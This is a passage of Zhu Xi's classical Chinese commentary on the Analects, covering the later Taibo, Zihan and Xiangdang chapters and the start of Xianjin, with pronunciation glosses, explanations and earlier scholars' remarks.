而去之。天下、舉一世而言。無道、則隱其身而不見也。此惟篤信好學、守死善道者能之。邦有道、貧且賤焉、恥也。邦無道、富且貴焉、恥也。世治而無可行之道、世亂而無能守之節、碌碌庸人、不足以為士矣、可恥之甚也。晁氏曰有學有守、而去就之義潔、出處之分明、然後為君子之全德也。\n子曰不在其位、不謀其政。程子曰不在其位、則不任其事也、若君大夫問而告者則有矣。\n子曰師摯之始、關雎之亂、洋洋乎盈耳哉。摯、音至。雎、七余反。師摯、魯樂師名摯也。亂、樂之卒章也。史記曰關雎之亂以為風始。洋洋、美盛意。孔子自衛反魯而正樂、適師摯在官之初、故樂之美盛如此。\n子曰狂而不直、侗而不愿、悾悾而不信、吾不知之矣。侗、音通。悾、音空。侗、無知貌。愿、謹厚也。悾悾、無能貌。吾不知之者、甚絕之之辭、亦不屑之教誨也。蘇氏曰天之生物、氣質不齊。其中材以下、有是德則有是病。有是病必有是德、故馬之蹄齧者必善走、其不善者必馴。有是病而無是德、則天下之棄才也。\n子曰學如不及、猶恐失之。言人之為學、既如有所不及矣、而其心猶竦然、惟恐其或失之、警學者當如是也。程子曰學如不及、猶恐失之、不得放過。纔說姑待明日、便不可也。\n子曰巍巍乎舜禹之有天下也、而不與焉。與、去聲。巍巍、高大之貌。不與、猶言不相關、言其不以位為樂也。\n子曰大哉堯之為君也巍巍乎唯天為大、唯堯則之。蕩蕩乎民無能名焉。唯、猶獨也。則、猶準也。蕩蕩、廣遠之稱也。言物之高大、莫有過於天者、而獨堯之德能與之準。故其德之廣遠、亦如天之不可以言語形容也。巍巍乎其有成功也。煥乎、其有文章成功、事業也。煥、光明之貌。文章、禮樂法度也。堯之德不可名、其可見者此爾。尹氏曰天道之大、無為而成。唯堯則之以治天下、故民無得而名焉。所可名者、其功業文章巍然煥然而已。\n舜有臣五人而天下治。治、去聲。五人、禹、稷、契、皋陶、伯益。武王曰予有亂臣十人。書泰誓之辭。馬氏曰亂、治也。十人、謂周公旦、召公奭、太公望、畢公、榮公、太顛、閎夭、散宜生、南宮适、其一人謂文母。劉侍讀以為子無臣母之義、蓋邑姜也。九人治外、邑姜治內。或曰亂本作乿、古治字也。孔子曰才難、不其然乎。唐虞之際、於斯為盛。有婦人焉、九人而已。稱孔子者、上係武王君臣之際、記者謹之。才難、蓋古語、而孔子然之也。才者、德之用也。唐虞、堯舜有天下之號。際、交會之間。言周室人才之多、惟唐虞之際、乃盛於此。降自夏商、皆不能及、然猶但有此數人爾、是才之難得也。三分天下有其二、以服事殷。周之德、其可謂至德也已矣。春秋傳曰、文王率商之畔國以事紂、蓋天下歸文王者六州、荊、梁、雍、豫、徐、揚也。惟青、论、冀、尚屬紂耳。范氏曰文王之德、足以代商。天與之、人歸之、乃不取而服事焉、所以為至德也。孔子因武王之言而及文王之德、且與泰伯、皆以至德稱之、其指微矣。或曰宜斷三分以下、別以孔子曰起之、而自為一章。\n子曰禹、吾無間然矣。菲飲食、而致孝乎鬼神。惡衣服、而致美乎黻冕。卑宮室、而盡力乎溝洫。禹、吾無間然矣。閒、去聲。菲、音匪。黻、音弗。洫、呼域反。閒、罅隙也、謂指其罅隙而非議之也。菲、薄也。致孝鬼神、謂享祀豐潔。衣服、常服。黻、蔽膝也、以韋為之。冕、冠也、皆祭服也。溝洫、田間水道、以正疆界、備旱潦者也。或豐或儉、各適其宜、所以無罅隙之可議也、故再言以深美之。○楊氏曰薄於自奉、而所勤者民之事、所致飾者宗廟朝廷之禮、所謂有天下而不與也、夫何間然之有。\n論語集注卷五\n子罕第九凡三十章。\n子罕言利與命與仁。罕、少也。程子曰計利則害義、命之理微、仁之道大、皆夫子所罕言也。\n達巷黨人曰大哉孔子博學而無所成名。達巷、黨名。其人姓名不傳。博學無所成名、蓋美其學之博而惜其不成一藝之名也。子聞之、謂門弟子曰吾何執。執御乎。執射乎。吾執御矣。執、專執也。射御皆一藝、而御為人僕、所執尤卑。言欲使我何所執以成名乎。然則吾將執御矣。聞人譽己、承之以謙也。尹氏曰聖人道全而德備、不可以偏長目之也。達巷黨人見孔子之大、意其所學者博、而惜其不以一善得名於世、蓋慕聖人而不知者也。故孔子曰、欲使我何所執而得為名乎。然則吾將執御矣。\n子曰麻冕、禮也。今也純、儉。吾從眾。麻冕、緇布冠也。純、絲也。儉、謂省約。緇布冠、以三十升布為之、升八十縷、則其經二千四百縷矣。細密難成、不如用絲之省約。拜下、禮也。今拜乎上、泰也。雖違眾、吾從下。臣與君行禮、當拜於堂下。君辭之、乃升成拜。泰、驕慢也。程子曰君子處世、事之無害於義者、從俗可也。害於義、則不可從也。\n子絕四毋意、毋必、毋固、毋我。絕、無之盡者。毋、史記作無是也。意、私意也。必、期必也。固、執滯也。我、私己也。四者相為終始、起於意、遂於必、留於固、而成於我也。蓋意必常在事前、固我常在事後、至於我又生意、則物欲牽引、循環不窮矣。程子曰此毋字、非禁止之辭。聖人絕此四者、何用禁止。張子曰四者有一焉、則與天地不相似。楊氏曰非知足以知聖人、詳視而默識之、不足以記此。\n子畏於匡。畏者、有戒心之謂。匡、地名。史記云陽虎曾暴於匡、夫子貌似陽虎、故匡人圍之。曰文王既沒、文不在茲乎。道之顯者謂之文、蓋禮樂制度之謂。不曰道而曰文、亦謙辭也。茲、此也、孔子自謂。天之將喪斯文也、後死者不得與於斯文也。天之未喪斯文也、匡人其如予何。喪、與、皆去聲。馬氏曰文王既沒、故孔子自謂後死者。言天若欲喪此文、則必不使我得與於此文。今我既得與於此文、則是天未欲喪此文也。天既未欲喪此文、則匡人其柰我何。言必不能違天害己也。\n大宰問於子貢曰夫子聖者與。何其多能也。大、音泰。與、平聲。孔氏曰大宰、官名。或吳或宋、未可知也。與者、疑辭。大宰蓋以多能為聖也。子貢曰固天縱之將聖、又多能也。縱、猶肆也、言不為限量也。將、殆也、謙若不敢知之辭。聖無不通、多能乃其餘事、故言又以兼之。子聞之、曰大宰知我乎吾少也賤、故多能鄙事。君子多乎哉。不多也。言由少賤故多能、而所能者鄙事爾、非以聖而無不通也。且多能非所以率人、故又言君子不必多能以曉之。牢曰子云、『吾不試、故藝』。牢、孔子弟子、姓琴、字子開、一字子張。試、用也。言由不為世用、故得以習於藝而通之。吳氏曰弟子記夫子此言之時、子牢因言昔之所聞有如此者。其意相近、故并記之。\n子曰吾有知乎哉。無知也。有鄙夫問於我、空空如也、我叩其兩端而竭焉。叩、音口。○孔子謙言己無知識、但其告人、雖於至愚、不敢不盡耳。叩、發動也。兩端、猶言兩頭。言終始、本末、上下、精粗、無所不盡。程子曰聖人之教人、俯就之若此、猶恐眾人以為高遠而不親也。聖人之道、必降而自卑、不如此則人不親、賢人之言、則引而自高、不如此則道不尊。觀於孔子、孟子、則可見矣。尹氏曰聖人之言、上下兼盡。即其近、眾人皆可與知。極其至、則雖聖人亦無以加焉、是之謂兩端。如答樊遲之問仁知、兩端竭盡、無餘蘊矣。若夫語上而遺下、語理而遺物、則豈聖人之言哉。\n子曰鳳鳥不至、河不出圖、吾已矣夫夫、音扶。鳳、靈鳥、舜時來儀、文王時鳴於岐山。河圖、河中龍馬負圖、伏羲時出、皆聖王之瑞也。已、止也。張子曰鳳至圖出、文明之祥。伏羲、舜、文之瑞不至、則夫子之文章、知其已矣。\n子見齊衰者、冕衣裳者與瞽者、見之、雖少必作。過之、必趨。齊、音咨。衰、七雷反。少、去聲。齊衰、喪服。冕、冠也。衣、上服。裳、下服。冕而衣裳、貴者之盛服也。瞽、無目者。作、起也。趨、疾行也。或曰少、當作坐。范氏曰聖人之心、哀有喪、尊有爵、矜不成人。其作與趨、蓋有不期然而然者。尹氏曰此聖人之誠心、內外一者也。\n顏淵喟然歎曰仰之彌高、鑽之彌堅。瞻之在前、忽焉在後。喟、苦位反。鑽、祖官反。喟、歎聲。仰彌高、不可及。鑽彌堅、不可入。在前在後、恍惚不可為象。此顏淵深知夫子之道、無窮盡、無方體、而歎之也。夫子循循然善誘人、博我以文、約我以禮。循循、有次序貌。誘、引進也。博文約禮、教之序也。言夫子道雖高妙、而教人有序也。侯氏曰博我以文、致知格物也。約我以禮、克己復禮也。程子曰此顏子稱聖人最切當處、聖人教人、惟此二事而已。欲罷不能、既竭吾才、如有所立卓爾。雖欲從之、末由也已。卓、立貌。末、無也。此顏子自言其學之所至也。蓋悅之深而力之盡、所見益親、而又無所用其力也。吳氏曰所謂卓爾、亦在乎日用行事之間、非所謂窈冥昏默者。程子曰到此地位、功夫尤難、直是峻絕、又大段著力不得。楊氏曰自可欲之謂善、充而至於大、力行之積也。大而化之、則非力行所及矣、此顏子所以未達一閒也。程子曰此顏子所以為深知孔子而善學之者也。胡氏曰無上事而喟然歎、此顏子學既有得、故述其先難之故、後得之由、而歸功於聖人也。高堅前後、語道體也。仰鑽瞻忽、未領其要也。惟夫子循循善誘、先博我以文、使我知古今、達事變。然後約我以禮、使我尊所間、行所知。如行者之赴家、食者之求飽、是以欲罷而不能、盡心盡力、不少休廢。然後見夫子所立之卓然、雖欲從之、末由也已。是蓋不怠所從、必欲至乎卓立之地也。抑斯歎也、其在請事斯語之後、三月不違之時乎。\n子疾病、子路使門人為臣。夫子時已去位、無家臣。子路欲以家臣治其喪、其意實尊聖人、而未知所以尊也。病閒、曰久矣哉由之行詐也、無臣而為有臣。吾誰欺。欺天乎。閒、如字。病閒、少差也。病時不知、既差乃知其事、故言我之不當有家臣、人皆知之、不可欺也。而為有臣、則是欺天而已。人而欺天、莫大之罪。引以自歸、其責子路深矣。且予與其死於臣之手也、無寧死於二三子之手乎。且予縱不得大葬、予死於道路乎。無寧、寧也。大葬、謂君臣禮葬。死於道路、謂棄而不葬。又曉〔一〕之以不必然之故。范氏曰曾子將死、起而易簀。曰『吾得正而斃焉、斯已矣。』子路欲尊夫子、而不知無臣之不可為有臣、是以陷於行詐、罪至欺天。君子之於言動、雖微不可不謹。夫子深懲子路、所以警學者也。楊氏曰非知至而意誠、則用智自私、不知行其所無事、往往自陷於行詐欺天而莫之知也。其子路之謂乎。\n〔一〕曉原作既、據清仿宋大字本改。\n子貢曰有美玉於斯、韞併而藏諸。求善賈而沽諸。子曰沽之哉沽之哉我待賈者也。韞、紆粉反。併、徒木反。賈、音嫁。韞、藏也。併、匱也。沽、賣也。子貢以孔子有道不仕、故設此二端以問也。孔子言固當賣之、但當待賈、而不當求之耳。范氏曰君子未嘗不欲仕也、又惡不由其道。士之待禮、猶玉之待賈也。若伊尹之耕於野、伯夷、太公之居於海濱、世無成湯文王、則終焉而已、必不枉道以從人、衒玉而求售也。\n子欲居九夷。東方之夷有九種。欲居之者、亦乘桴浮海之意。或曰陋、如之何子曰君子居之、何陋之有。君子所居則化、何陋之有。\n子曰吾自衛反魯、然後樂正、雅頌各得其所。魯哀公十一年冬、孔子自衛反魯。是時周禮在魯、然詩樂亦頗殘闕失次。孔子周流四方、參互考訂、以知其說。晚知道終不行、故歸而正之。\n子曰出則事公卿、入則事父兄、喪事不敢不勉、不為酒困、何有於我哉。說見第七篇、然此則其事愈卑而意愈切矣。\n子在川上、曰逝者如斯夫不舍晝夜。夫、音扶。舍、上聲。天地之化、往者過、來者續、無一息之停、乃道體之本然也。然其可指而易見者、莫如川流。故於此發以示人、欲學者時時省察、而無毫髮之間斷也。程子曰此道體也。天運而不已、日往則月來、寒往則暑來、水流而不息、物生而不窮、皆與道為體、運乎晝夜、未嘗已也。是以君子法之、自強不息。及其至也、純亦不已焉。又曰自漢以來、儒者皆不識此義。此見聖人之心、純亦不已也。純亦不已、乃天德也。有天德、便可語王道、其要只在謹獨。愚按自此至篇終、皆勉人進學不已之辭。\n子曰吾未見好德如好色者也。好、去聲。謝氏曰好好色、惡惡臭、誠也。好德如好色、斯誠好德矣、然民鮮能之。史記孔子居衛、靈公與夫人同車、使孔子為次乘、招搖市過之。孔子醜之、故有是言。\n子曰譬如為山、未成一簣、止、吾止也。譬如平地、雖覆一簣、進、吾往也。簣、求位反。覆、芳服反。簣、土籠也。書曰為山九仞、功虧一簣。夫子之言、蓋出於此。言山成而但少一簣、其止者、吾自止耳。平地而方覆一簣、其進者、吾自往耳。蓋學者自彊不息、則積少成多。中道而止、則前功盡棄。其止其往、皆在我而不在人也。\n子曰語之而不惰者、其回也與語、去聲。與、平聲。惰、懈怠也。范氏曰顏子聞夫子之言、而心解力行、造次顛沛未嘗違之。如萬物得時雨之潤、發榮滋長、何有於惰、此群弟子所不及也。\n子謂顏淵、曰惜乎吾見其進也、未見其止也。進止二字、說見上章。顏子既死而孔子惜之、言其方進而未已也。\n子曰。苗而不秀者有矣夫秀而不實者有矣夫夫、音扶。穀之始生曰苗、吐華曰秀、成穀曰實。蓋學而不至於成、有如此者、是以君子貴自勉也。\n子曰後生可畏、焉知來者之不如今也。四十、五十而無聞焉、斯亦不足畏也已。焉知之焉、於虔反。孔子言後生年富力彊、足以積學而有待、其勢可畏、安知其將來不如我之今日乎。然或不能自勉、至於老而無聞、則不足畏矣。言此以警人、使及時勉學也。曾子曰五十而不以善聞、則不聞矣、蓋述此意。尹氏曰少而不勉、老而無聞、則亦已矣。自少而進者、安知其不至於極乎。是可畏也。\n子曰法語之言、能無從乎。改之為貴。巽與之言、能無說乎。繹之為貴。說而不繹、從而不改、吾末如之何也已矣。法語者、正言之也。巽言者、婉而導之也。繹、尋其緒也。法言人所敬憚、故必從。然不改、則面從而已。巽言無所乖忤、故必說。然不繹、則又不足以知其微意之所在也。楊氏曰法言、若孟子論行王政之類是也。巽言、若其論好貨好色之類是也。語之而未達、拒之而不受、猶之可也。其或喻焉、則尚庶幾其能改繹矣。從且說矣、而不改繹焉、則是終不改繹也已、雖聖人其如之何哉。\n子曰主忠信、毋友不如己者、過則勿憚改。重出而逸其半。\n子曰三軍可奪帥也、匹夫不可奪志也。侯氏曰三軍之勇在人、匹夫之志在己。故帥可奪而志不可奪、如可奪、則亦不足謂之志矣。\n子曰衣敝縕袍、與衣狐貉者立、而不恥者、其由也與。衣、去聲。縕、紆粉反。貉、胡各反。與、平聲。敝、壞也。縕、枲著也。袍、衣有著者也、蓋衣之賤者。狐貉、以狐貉之皮為裘、衣之貴者。子路之志如此、則能不以貧富動其心、而可以進於道矣、故夫子稱之。『不忮不求、何用不臧。』忮、之豉反。忮、害也。求、貪也。臧、善也。言能不忮不求、則何為不善乎。此衛風雄雉之詩、孔子引之、以美子路也。呂氏曰貧與富交、彊者必忮、弱者必求。子路終身誦之。子曰是道也、何足以臧。終身誦之、則自喜其能、而不復求進於道矣、故夫子復言此以警之。謝氏曰恥惡衣惡食、學者之大病。善心不存、蓋由於此。子路之志如此、其過人遠矣。然以眾人而能此、則可以為善矣。子路之賢、宜不止此。而終身誦之、則非所以進於日新也、故激而進之。\n子曰歲寒、然後知松柏之後彫也。范氏曰小人之在治世、或與君子無異。惟臨利害、遇事變、然後君子之所守可見也。謝氏曰士窮見節義、世亂識忠臣。欲學者必周於德。\n子曰知者不惑、仁者不憂、勇者不懼。明足以燭理、故不惑。理足以勝私、故不憂。氣足以配道義、故不懼。此學之序也。\n子曰可與共學、未可與適道。可與適道、未可與立。可與立、未可與權。可與者、言其可與共為此事也。程子曰可與共學、知所以求之也。可與適道、知所往也。可與立者、篤志固執而不變也。權、稱錘也、所以稱物而知輕重者也。可與權、謂能權輕重、使合義也。楊氏曰知為己、則可與共學矣。學足以明善、然後可與適道。信道篤、然後可與立。知時措之宜、然後可與權。洪氏曰易九卦、終於巽以行權。權者、聖人之大用。未能立而言權、猶人未能立而欲行、鮮不仆矣。程子曰漢儒以反經合道為權、故有權變權術之論、皆非也。權只是經也。自漢以下、無人識權字。愚按先儒誤以此章連下文偏其反而為一章、故有反經合道之說。程子非之、是矣。然以孟子嫂溺援之以手之義推之、則權與經亦當有辨。\n唐棣之華、偏其反而。豈不爾思。室是遠而。棣、大計反。唐棣、郁李也。偏、晉書作翩。然則反亦當與翻同、言華之搖動也。而、語助也。此逸詩也、於六義屬興。上兩句無意義、但以起下兩句之辭耳。其所謂爾、亦不知其何所指也。子曰未之思也、夫何遠之有。夫、音扶。夫子借其言而反之、蓋前篇仁遠乎哉之意。程子曰聖人未嘗言易以驕人之志、亦未嘗言難以阻人之進。但曰未之思也、夫何遠之有。此言極有涵蓄、意思深遠。\n鄉黨第十楊氏曰聖人之所謂道者、不離乎日用之間也。故夫子之平日、一動一靜、門人皆審視而詳記之。尹氏曰甚矣孔門諸子之嗜學也於聖人之容色言動、無不謹書而備錄之、以貽後世。今讀其書、即其事、宛然如聖人之在目也。雖然、聖人豈拘拘而為之者哉。蓋盛德之至、動容周旋、自中乎禮耳。學者欲潛心於聖人、宜於此求焉。舊說凡一章、今分為十七〔一〕節。\n〔一〕按本篇實有十八節(章)、其中入太廟、每事問一節、朱熹認為與八佾篇重出、故稱十七節。\n孔子於鄉黨、恂恂如也、似不能言者。恂、相倫反。恂恂、信實之貌。似不能言者、謙卑遜順。不以賢知先人也。鄉黨、父兄宗族之所在、故孔子居之、其容貌辭氣如此。\n其在宗廟朝廷、便便言、唯謹爾。朝、直遙反、下同。便、旁連反。便便、辯也。宗廟、禮法之所在。朝廷、政事之所出。言不可以不明辨。故必詳問而極言之、但謹而不放爾。此一節、記孔子在鄉黨、宗廟、朝廷言貌之不同。\n朝、與下大夫言、侃侃如也。與上大夫言、誾誾如也。侃、苦旦反。誾、魚巾反。此君未視朝時也。王制、諸侯上大夫卿、下大夫五人。許氏說文侃侃、剛直也。誾誾、和悅而諍也。君在、踧踖如也。與與如也。踧、子六反。踖、子亦反。與、平聲、或如字。君在、視朝也。踧踖、恭敬不寧之貌。與與、威儀中適之貌。張子曰與與、不忘向君也。亦通。此一節、記孔子在朝廷事上接下之不同也。\n君召使擯、色勃如也、足躩如也。擯、必刃反。躩、驅若反。擯、主國之君所使出接賓者。勃、變色貌。躩、盤辟貌。皆敬君命故也。揖所與立、左右手。衣前後、襜如也。襜、亦占反。所與立、謂同為擯者也。擯用命數之半、如上公九命、則用五人、以次傳命。揖左人、則左其手。揖右人、則右其手。襜、整貌。趨進、翼如也。疾趨而進、張拱端好、如鳥舒翼。賓退、必復命曰賓不顧矣。紓君敬也。此一節、記孔子為君擯相之容。\n入公門、鞠躬如也、如不容。鞠躬、曲身也。公門高大而若不容、敬之至也。立不中門、行不履閾。閾、于逼反。中門、中於門也。謂當棖闑之間、君出入處也。閾、門限也。禮士大夫出入君門、由闑右、不踐閾。謝氏曰立中門則當尊、行履閾則不恪。過位、色勃如也、足躩如也、其言似不足者。位、君之虛位。謂門屏之間、人君宁立之處、所謂宁也。君雖不在、過之必敬、不敢以虛位而慢之也。言似不足、不敢肆也。攝齊升堂、鞠躬如也、屏氣似不息者。齊、音咨。攝、摳也。齊、衣下縫也。禮將升堂、兩手摳衣、使去地尺、恐躡之而傾跌失容也。屏、藏也。息、鼻息出入者也。近至尊、氣容肅也。出、降一等、逞顏色、怡怡如也。沒階趨、翼如也。復其位、踧踖如也。陸氏曰趨下本無進字、俗本有之、誤也。等、階之級也。逞、放也。漸遠所尊、舒氣解顏。怡怡、和悅也。沒階、下盡階也。趨、走就位也。復位踧踖、敬之餘也。此一節、記孔子在朝之容。\n執圭、鞠躬如也、如不勝。上如揖、下如授。勃如戰色、足縮縮、如有循。勝、平聲。縮、色六反。圭、諸侯命圭。聘問鄰國、則使大夫執以通信。如不勝、執主器、執輕如不克、敬謹之至也。上如揖、下如授、謂執圭平衡、手與心齊、高不過揖、卑不過授也。戰色、戰而色懼也。蹜蹜、舉足促狹也。如有循、記所謂舉前曳踵。言行不離地、如緣物也。享禮、有容色。享、獻也。既聘而享、用圭璧、有庭實。有容色、和也。儀禮曰發氣滿容。私覿、愉愉如也。私覿、以私禮見也。愉愉、則又和矣。此一節、記孔子為君聘於鄰國之禮也。晁氏曰孔子、定公九年仕魯、至十三年適齊、其間絕無朝聘往來之事。疑使擯執圭兩條、但孔子嘗言其禮當如此爾。\n君子不以紺緅飾。紺、古暗反。緅、側由反。君子、謂孔子。紺、深青揚赤色、齊服也。緅、絳色。三年之喪、以飾練服也。飾、領緣也。紅紫不以為褻服。紅紫、間色不正、且近於婦人女子之服也。褻服、私居服也。言此則不以為朝祭之服可知。當暑、袗絺綌、必表而出之。袗、單也。葛之精者曰絺、麤者曰綌。表而出之、謂先著裏衣、表絺綌而出之於外、欲其不見體也。詩所謂蒙彼縐絺是也。緇衣羔裘、素衣麑裘、黃衣狐裘。麑、研奚反。緇、黑色。羔裘、用黑羊皮。麑、鹿子、色白。狐、色黃。衣以裼裘、欲其相稱。褻裘長。短右袂。長、欲其溫。短右袂、所以便作事。必有寢衣、長一身有半。長、去聲。齊主於敬、不可解衣而寢、又不可著明衣而寢、故別有寢衣、其半蓋以覆足。程子曰此錯簡、當在齊必有明衣布之下。愚謂如此、則此條與明衣變食、既得以類相從。而褻裘狐貉、亦得以類相從矣。狐貉之厚以居。狐貉、毛深溫厚、私居取其適體。去喪、無所不佩。去、上聲。君子無故、玉不去身。觿礪之屬、亦皆佩也。非帷裳、必殺之。殺、去聲。朝祭之服、裳用正幅如帷、要有襞積、而旁無殺縫。其餘若深衣、要半下、齊倍要、則無襞積而有殺縫矣。羔裘玄冠不以弔。喪主素、吉主玄。弔必變服、所以哀死。吉月、必朝服而朝。吉月、月朔也。孔子在魯致仕時如此。此一節、記孔子衣服之制。蘇氏曰此孔氏遺書、雜記曲禮、非特孔子事也。\n齊、必有明衣、布。齊、側皆反。齊、必沐浴、浴竟、即著明衣、所以明潔其體也、以布為之。此下脫前章寢衣一簡。齊、必變食、居必遷坐。變食、謂不飲酒、不茹葷。遷坐、易常處也。此一節、記孔子謹齊之事。楊氏曰齊所以交神、故致潔變常以盡敬。\n食不厭精、膾不厭細。食、音嗣。食、飯也。精、鑿也。牛羊與魚之腥、聶而切之為膾。食精則能養人、膾麤則能害人。不厭、言以是為善、非謂必欲如是也。食饐而餲、魚餒而肉敗、不食。色惡、不食。臭惡、不食。失飪、不食。不時、不食。食饐之食、音嗣。饐、於冀反。餲、烏邁反。飪、而甚反。饐、飯傷熱濕也。餲、味變也。魚爛曰餒。肉腐曰敗。色惡臭惡、未敗而色臭變也。飪、烹調生熟之節也。不時、五穀不成、果實未熟之類。此數者皆足以傷人、故不食。割不正、不食。不得其醬、不食。割肉不方正者不食、造次不離於正也。漢陸續之母、切肉未嘗不方、斷蔥以寸為度、蓋其質美、與此暗合也。食肉用醬、各有所宜、不得則不食、惡其不備也。此二者、無害於人、但不以嗜味而苟食耳。肉雖多、不使勝食氣。惟酒無量、不及亂。食、音嗣。量、去聲。食以穀為主、故不使肉勝食氣。酒以為人合歡、故不為量、但以醉為節而不及亂耳。程子曰不及亂者、非惟不使亂志、雖血氣亦不可使亂、但浹洽而已可也。沽酒市脯不食。沽、市、皆買也。恐不精潔、或傷人也。與不嘗康子之藥同意。不撤薑食。薑、通神明、去穢惡、故不撤。不多食。適可而止、無貪心也。祭於公、不宿肉。祭肉不出三日。出三日、不食之矣。助祭於公、所得胙肉、歸即頒賜。不俟經宿者、不留神惠也。家之祭肉、則不過三日、皆以分賜。蓋過三日、則肉必敗、而人不食之、是褻鬼神之餘也。但比君所賜胙、可少緩耳。食不語、寢不言。答述曰語。自言曰言。范氏曰聖人存心不他、當食而食、當寢而寢、言語非其時也。楊氏曰肺為氣主而聲出焉、寢食則氣窒而不通、語言恐傷之也。亦通。雖疏食菜羹、瓜祭、必齊如也。食、音嗣。陸氏曰魯論瓜作必。古人飲食、每種各出少許、置之豆閒之地、以祭先代始為飲食之人、不忘本也。齊、嚴敬貌。孔子雖薄物必祭、其祭必敬、聖人之誠也。此一節、記孔子飲食之節。謝氏曰聖人飲食如此、非極口腹之欲、蓋養氣體、不以傷生、當如此。然聖人之所不食、窮口腹者或反食之、欲心勝而不暇擇也。\n席不正、不坐。謝氏曰聖人心安於正、故於位之不正者、雖小不處。\n鄉人飲酒、杖者出、斯出矣。杖者、老人也。六十杖於鄉、未出不敢先、既出不敢後。鄉人儺、朝服而立於阼階。儺、乃多反。儺、所以逐疫、周禮方相氏掌之。阼階、東階也。儺雖古禮而近於戲、亦必朝服而臨之者、無所不用其誠敬也。或曰恐其驚先祖五祀之神、欲其依己而安也。此一節、記孔子居鄉之事。\n問人於他邦、再拜而送之。拜送使者、如親見之、敬也。康子饋藥、拜而受之。曰丘未達、不敢嘗。范氏曰凡賜食、必嘗以拜。藥未達則不敢嘗。受而不飲、則虛人之賜、故告之如此。然則可飲而飲、不可飲而不飲、皆在其中矣。楊氏曰大夫有賜、拜而受之、禮也。未達不敢嘗、謹疾也。必告之、直也。此一節、記孔子與人交之誠意。\n廄焚。子退朝、曰傷人乎。不問馬。非不愛馬、然恐傷人之意多、故未暇問。蓋貴人賤畜、理當如此。\n君賜食、必正席先嘗之。君賜腥、必熟而薦之。君賜生、必畜之。食恐或餕餘、故不以薦。正席先嘗、如對君也。言先嘗、則餘當以頒賜矣。腥、生肉。熟而薦之祖考、榮君賜也。畜之者、仁君之惠、無故不敢殺也。侍食於君、君祭、先飯。飯、扶晚反。周禮、王日一舉、膳夫授祭、品嘗食、王乃食。故侍食者、君祭、則己不祭而先飯。若為君嘗食然、不敢當客禮也。疾、君視之、東首、加朝服、拖紳。首、去聲。拖、徒我反。東首、以受生氣也。病臥不能著衣束帶、又不可以褻服見君、故加朝服於身、又引大帶於上也。君命召、不俟駕行矣。急趨君命、行出而駕車隨之。此一節、記孔子事君之禮。\n入太廟、每事問。重出。\n朋友死、無所歸。曰於我殯。朋友以義合、死無所歸、不得不殯。朋友之饋、雖車馬、非祭肉、不拜。朋友有通財之義、故雖車馬之重不拜。祭肉則拜者、敬其祖考、同於己親也。此一節、記孔子交朋友之義。\n寢不尸、居不容。尸、謂偃臥似死人也。居、居家。容、容儀。范氏曰寢不尸、非惡其類於死也。惰慢之氣不設於身體、雖舒布其四體、而亦未嘗肆耳。居不容、非惰也。但不若奉祭祀、見賓客而已、申申夭夭是也。見齊衰者、雖狎、必變。見冕者與瞽者、雖褻、必以貌。狎、謂素親狎。褻、謂燕見。貌、謂禮貌。餘見前篇。凶服者式之。式負版者。式、車前橫木。有所敬、則俯而憑之。負版、持邦國圖籍者。式此二者、哀有喪、重民數也。人惟萬物之靈、而王者之所天也、故周禮獻民數於王、王拜受之。況其下者、敢不敬乎。有盛饌、必變色而作。敬主人之禮、非以其饌也。迅雷風烈、必變。迅、疾也。烈、猛也。必變者、所以敬天之怒。記曰若有疾風、迅雷、甚雨則必變、雖夜必興、衣服冠而坐。此一節、記孔子容貌之變。升車、必正立執綏。綏、挽以上車之索也。范氏曰正立執綏、則心體無不正、而誠意肅恭矣。蓋君子莊敬無所不在、升車則見於此也。車中、不內顧、不疾言、不親指。內顧、回視也。禮曰顧不過轂。三者皆失容、且惑人。此一節、記孔子升車之容。\n色斯舉矣、翔而後集。言鳥見人之顏色不善、則飛去、回翔審視而後下止。人之見幾而作、審擇所處、亦當如此。然此上下、必有闕文矣。曰山梁雌雉、時哉時哉子路共之、三嗅而作。共、九用反、又居勇反。嗅、許又反。○邢氏曰梁、橋也。時哉、言雉之飲啄得其時。子路不達、以為時物而共具之。孔子不食、三嗅其氣而起。晁氏曰石經『嗅』作戛、謂雉鳴也。劉聘君曰嗅、當作狊、古闃反。張兩翅也。見爾雅。愚按如後兩說、則共字當為拱執之義。然此必有闕文、不可強為之說。姑記所聞、以俟知者。\n論語集注卷六\n先進第十一此篇多評弟子賢否。凡二十五〔一〕章。胡氏曰此篇記閔子騫言行者四、而其一直稱閔子、疑閔氏門人所記也。\n〔一〕五原七、據清仿宋大字本及正文改。\n子曰先進於禮樂、野人也。後進於禮樂、君子也。先進後進、猶言前輩後輩。野人、謂郊外之民。君子、謂賢士大夫也。程子曰先進於禮樂、文質得宜、今反謂之質朴、而以為野人。後進之於禮樂、文過其質、今反謂之彬彬、而以為君子。蓋周末文勝、故時人之言如此、不自知其過於文也。如用之、則吾從先進。用之、謂用禮樂。孔子既述時人之言、又自言其如此、蓋欲損過以就中也。\n子曰從我於陳、蔡者、皆不及門也。從、去聲。孔子嘗厄於陳、蔡之間、弟子多從之者、此時皆不在門。故孔子思之、蓋不忘其相從於患難之中也。德行顏淵、閔子騫、冉伯牛、仲弓。言語宰我、子貢。政事冉有、季路。文學子游、子夏行、去聲。弟子因孔子之言、記此十人、而并目其所長、分為四科。孔子教人各因其材、於此可見。程子曰四科乃從夫子於陳、蔡者爾、門人之賢者固不止此。曾子傳道而不與焉、故知十哲世俗論也。\n子曰回也非助我者也、於吾言無所不說。說、音悅。助我、若子夏之起予、因疑問而有以相長也。顏子於聖人之言、默識心通、無所疑問。故夫子云然、其辭若有憾焉、其實乃深喜之。胡氏曰夫子之於回、豈真以助我望之。蓋聖人之謙德、又以深贊顏氏云爾。\n子曰孝哉閔子騫人不間於其父母昆弟之言。閒、去聲。胡氏曰父母兄弟稱其孝友、人皆信之無異辭者、蓋其孝友之實、有以積於中而著於外、故夫子歎而美之。\n南容三復白圭、孔子以其兄之子妻之。三、妻、並去聲。詩大雅抑之篇曰白圭之玷、尚可磨也。斯言之玷、不可為也。南容一日三復此言、事見家語、蓋深有意於謹言也。此邦有道所以不廢、邦無道所以免禍、故孔子以兄子妻之。范氏曰言者行之表、行者言之實、未有易其言而能謹於行者。南容欲謹其言如此、則必能謹其行矣。\n季康子問弟子孰為好學。孔子對曰有顏回者好學、不幸短命死矣今也則亡。好、去聲。范氏曰哀公、康子問同而對有詳略者、臣之告君、不可不盡。若康子者、必待其能問乃告之、此教誨之道也。\n顏淵死、顏路請子之車以為之槨。顏路、淵之父、名無繇。少孔子六歲、孔子始教而受學焉。槨、外棺也。請為槨、欲賣車以買槨也。子曰才不才、亦各言其子也。鯉也死、有棺而無槨。吾不徒行以為之槨。以吾從大夫之後、不可徒行也。